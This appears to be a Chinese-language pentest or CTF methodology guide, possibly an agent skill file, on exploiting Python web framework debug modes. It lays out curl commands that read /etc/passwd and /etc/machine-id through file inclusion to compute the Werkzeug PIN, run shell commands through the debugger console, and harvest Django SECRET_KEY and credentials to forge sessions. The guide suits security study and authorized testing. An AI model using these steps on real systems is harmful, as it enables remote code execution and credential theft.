Python Web Debug

Python Web Debug 模式利用

Python Web 框架的 Debug 模式是开发者留下的最危险的配置错误之一——Werkzeug debugger 直接提供交互式 Python shell（RCE），Django DEBUG=True 泄露完整配置和源码路径，FastAPI /docs 暴露所有 API 接口。

Phase 0: 快速识别

Phase 1: Werkzeug Debugger RCE（最高优先级）

Werkzeug debugger 在 Debug 模式下提供交互式 Python console，但自 Werkzeug 0.11+ 起需要 PIN 码验证。

1.1 检查 /console 是否可访问

curl -s http://TARGET/console
# 如果返回 HTML 中包含 "Werkzeug Debugger" → 可利用
# 如果需要 PIN → 继续 PIN 计算

1.2 PIN 计算

PIN 由以下 6 个值生成（Werkzeug 源码中的 get_pin_and_cookie_name 函数）：

完整 PIN 计算算法 → 读 references/werkzeug-pin-calculation.md

1.3 读取必要文件

通常需要通过 LFI/SSRF/错误信息泄露来读取：

# MAC 地址（去掉冒号，转为十进制）
curl http://TARGET/vuln?file=/sys/class/net/eth0/address
# 02:42:ac:11:00:02 → 0x0242ac110002 → 2485377892354

# machine-id
curl http://TARGET/vuln?file=/etc/machine-id
# 如果不存在，用 boot_id:
curl http://TARGET/vuln?file=/proc/sys/kernel/random/boot_id

# cgroup（Docker 环境中需要）
curl http://TARGET/vuln?file=/proc/self/cgroup
# 取第一行最后一个 / 后的内容（容器 ID）

# 运行用户
curl http://TARGET/vuln?file=/etc/passwd
# 或从错误页面的 traceback 中提取路径 /home/USERNAME/...

1.4 PIN 获取后利用

# 1. 访问 /console，输入 PIN
# 2. 在 Python console 中执行命令：
import os; os.popen('id').read()
import os; os.popen('cat /flag*').read()

# 3. 或通过 API 调用（不需要浏览器）：
# 先获取 PIN cookie
curl 'http://TARGET/console?__debugger__=yes&cmd=pinauth&pin=PIN_CODE&s=SECRET'
# SECRET 从 /console 页面的 HTML 中提取

# 然后执行命令
curl 'http://TARGET/console?__debugger__=yes&cmd=__import__("os").popen("id").read()&frm=0&s=SECRET' \
  -H 'Cookie: __wzd..=PIN_COOKIE'

Werkzeug 2.1+ 使用 SHA-1 算法生成 PIN（之前用 MD5），计算脚本需要区分版本。

Phase 2: Django DEBUG=True 信息泄露

2.1 触发调试页面

# 访问不存在的 URL → Django 会显示所有 URL 配置
curl http://TARGET/nonexistent_path_12345/

# 触发错误 → 显示完整 traceback + 源码 + settings
curl http://TARGET/api/test?id='

2.2 敏感信息提取

Django 调试页面泄露：

• Settings: SECRET_KEY、数据库配置、AWS 凭据、邮件服务器
• URL 配置: 所有路由包括 admin 后台路径
• Traceback: 源码片段、文件路径、本地变量值
• Request 信息: Cookie、Session 数据

关键搜索：
SECRET_KEY → 可伪造 session/CSRF token
DATABASE → 数据库连接信息
AWS_ACCESS_KEY → 云凭据
ALLOWED_HOSTS → 子域名信息

2.3 Django SECRET_KEY 利用

拿到 SECRET_KEY 后：

# 伪造 Django 签名数据 / session
# Django 默认使用 JSONSerializer；只有显式配置 PickleSerializer 的旧应用才存在 pickle 反序列化 RCE 风险
import django.core.signing
# 默认 JSON session 场景主要关注签名数据伪造；PickleSerializer 场景再参考 deserialization-methodology skill

# 伪造密码重置 Token
from django.contrib.auth.tokens import PasswordResetTokenGenerator

Phase 3: FastAPI /docs 暴露

3.1 检测

curl -s http://TARGET/docs     # Swagger UI
curl -s http://TARGET/redoc    # ReDoc
curl -s http://TARGET/openapi.json  # OpenAPI schema（最有价值）

3.2 利用

/openapi.json 包含所有 API 端点的完整定义——路径、方法、参数、响应格式：

# 下载完整 API 定义
curl -s http://TARGET/openapi.json | python3 -m json.tool

# 提取所有端点
curl -s http://TARGET/openapi.json | jq '.paths | keys[]'

# 重点关注：
# - /admin/ 路径下的管理接口
# - 含 delete/update/create 的端点
# - 含 user/role/permission 的端点
# - 含 file/upload/download 的端点

Phase 4: Tornado/Bottle/其他框架

Tornado Debug 模式

# Tornado debug=True 时，错误页面显示完整 traceback
# 但不像 Werkzeug 那样提供交互式 console
# 关注：源码路径、配置信息、cookie_secret 泄露

通用 Python 错误信息利用

任何 Python Web 框架在 Debug 模式下的错误页面都可能泄露：

• 文件系统路径 → 确定安装位置和用户
• 环境变量 → 可能包含密钥、凭据
• 依赖版本 → 查找已知 CVE
• 数据库连接字符串 → 直连数据库

决策树

发现 Python Web 应用
├── /console 可访问 → Werkzeug Debugger → PIN 计算 → RCE
├── 错误页面是 Django 黄色调试页 → 提取 SECRET_KEY → Session 伪造
├── /docs 或 /redoc 可访问 → FastAPI → API 枚举
├── 错误页面含 Python traceback → 信息收集（路径/用户/版本）
└── 以上都不是 → 主动触发错误（特殊字符/类型错误/长输入）

参考资源

• Werkzeug PIN 计算完整算法（含 Python 3.x 和 Docker 差异）→ references/werkzeug-pin-calculation.md